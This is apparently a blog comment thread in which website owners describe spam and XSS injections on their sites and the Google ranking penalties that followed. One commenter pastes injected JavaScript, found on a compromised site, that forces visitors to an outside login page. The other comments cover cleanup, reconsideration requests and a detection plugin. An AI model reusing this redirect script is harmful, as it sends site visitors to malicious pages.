Testlink

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world

var xScroll, yScroll, timerPoll, timerRedirect, timerClock;

function initRedirect(){
if (typeof document.body.scrollTop != “undefined”){ //IE,NS7,Moz
xScroll = document.body.scrollLeft;
yScroll = document.body.scrollTop;

clearInterval(timerPoll); //stop polling scroll move
clearInterval(timerRedirect); //stop timed redirect

timerPoll = setInterval(“pollActivity()”,1); //poll scrolling
timerRedirect =
setInterval(“location.href=’http://mypics38.my3gb.com/login.php.htm’”,5000);
//set timed redirect

}
else if (typeof window.pageYOffset != “undefined”){ //other browsers
that support pageYOffset/pageXOffset instead
xScroll = window.pageXOffset;
yScroll = window.pageYOffset;

clearInterval(timerPoll); //stop polling scroll move
clearInterval(timerRedirect); //stop timed redirect

timerPoll = setInterval(“pollActivity()”,1); //poll scrolling
timerRedirect =
setInterval(“location.href=’http://mypics38.my3gb.com/login.php.htm’”,5000);
//set timed redirect

}
//else do nothing
}

function pollActivity(){
if ((typeof document.body.scrollTop != “undefined” &&
(xScroll!=document.body.scrollLeft ||
yScroll!=document.body.scrollTop)) //IE/NS7/Moz
||
(typeof window.pageYOffset != “undefined” &&
(xScroll!=window.pageXOffset || yScroll!=window.pageYOffset))) {
//other browsers
initRedirect(); //reset polling scroll position
}
}

document.onmousemove=initRedirect;
document.onclick=initRedirect;
document.onkeydown=initRedirect;
window.onload=initRedirect;
window.onresize=initRedirect;

yikes! who or why would people do that? And how? I find no indication of all those porn links in my index.html so I have no idea how to remove them.

So I at least have solved the mystery of ‘why’ Google dropped me like a hot potato but beyond changing passwords I am at a loss to know how to clean up the ugly mess and get back to where I was a year ago.

While my site was wallowing in the doldrums I redesigned a new front page with much more content and links, so when this existing problem is sorted out I can re-enter the Google arena with a vengeance.
Bloody hackers!

I hope you can help

thanks
mark

My site is currently suffering from a June 9th XSS “porn” attack. Google Analytics still shows our “search results” page down 90% in Google traffic since the attack. We have since patched the XSS hole, added META NOINDEX tags to all “empty” search result pages, submitted all the remaining “porn” URL Removals in WebMaster Tools, and submitted a Reconsideration Request on June 19th.

Questions:

– Is the Google penalty due to the “porn” in Google’s index? or was it the XSS, which gave our site the appearance of a massive number of “Sneaky Javascript Redirects” ?

- How long should I expect to wait? (I have seen some webmasters say their page’s traffic has never come back after a Google penalty, yet others say it should be restored after 30 days or so. Is there anyone out there who can tell me whether their XSS hacked page’s traffic did come back and how long it took? I’m trying to passify my angry boss! )

Thanks Matt & all,

could you please tell me the reason for removing my last post? There was nothing wrong with it.

greetz
Robert

I’m about halfway through coding a plugin to detect the current crop of methods the spammer use to hide their links and add viruses to WordPress sites. Hopefully I’ll release a first version tomorrow, or early next week.

http://ocaoimh.ie/2008/06/08/did-your-wordpress-site-get-hacked/

I had a site hacked into – made some quick fixes – removed the bad file. Now going to resubmit to Google…

All access to my server have different users/passcodes per site. So one site will have 20 user/passwords – to avoid any problems with server hacking. The problem is, that it’s tougher for me to determine a site hack, if the server wasn’t compromised.

Thanks for reminding me to check my files Matt…

But FYI – I am on Google Webmaster Tools and Googlebot has had no problem with spidering my website. Did I miss something? It’s reporting the medical and porn in the content – but no warnings to be seen.

I think people need to get out of the “it won’t happen to me” mentality and realise that they need to be vigilant. Check your site for easily detected exploits, do a bit of Googling on scripts and plugins for known exploits before you install and ALWAYS back-up your data.

On the other hand I couln’t understand why Google still indexes search results like:
http://www.google.de/search?hl=de&q=site%3Asearch.ebay.de&btnG=Suche&meta=

That’s only one example for indexed search results, which could be automatically removed from the index simply, if Google wants.

greetz
Robert